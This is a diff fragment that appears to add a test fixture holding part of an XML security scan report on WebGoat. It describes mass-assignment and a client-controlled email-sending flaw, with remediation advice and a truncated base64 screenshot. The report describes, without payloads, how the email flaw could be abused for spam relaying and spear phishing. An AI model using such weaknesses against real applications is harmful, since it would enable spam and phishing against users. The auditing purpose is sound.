+        fields. Ruby on Rails provides convenient methods (new, create, create!, update_attributes,
+        update_attributes!) for easily creating or updating instances of an application's
+        model. Multiple attributes can be updated at once with the key/value pairs
+        of a hash. If this hash is created using data under an attackers control,
+        such as the result of an HTML form submission, additional values may be included
+        beyond those intended. If those additional keys match the names of attributes
+        on the model, they may be updated as well.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
+        count=\"1\" issueid=\"274\" module=\"manual_analysis\" type=\"\" description=\"The
+        application send emails on behalf of the user. The contents of the message
+        and the delivery address are controllable by the client. \" note=\"\" cweid=\"472\"
+        remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\" pcirelated=\"false\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\"
+        cvss=\"5\" capecid=\"6\" exploitdifficulty=\"2\" inputvector=\"to, subject,
+        msg\">\n<exploit_desc>An attacker could utilize this email to send SPAM messages
+        resulting in the SMPT relay to become untrusted among email service providers.
+        A sophisticated attacker could utilize this to conduct spear phising attacks.
+        The phising email could include links to pages within the application that
+        are vulnerable to open redirect or cross-site scripting, making the attack
+        extremely difficult for a user to detect.</exploit_desc>\n<severity_desc>Due
+        to other vulnerabilities within the application that would allow for a sophisticated
+        spear phising attack, the issue becomes more severe. A security aware user
+        could easily be tricked by the spear phising links since they would start
+        with the correct domain name.</severity_desc>\n<remediation_desc>Only send
+        emails to predetermined delivery addresses that are associated with the application
+        or with the current user. Do not allow the client to set the subject or other
+        smtp headers. Escape all client input with the same mechanisms used to escape
+        tainted data before display within an HTML context.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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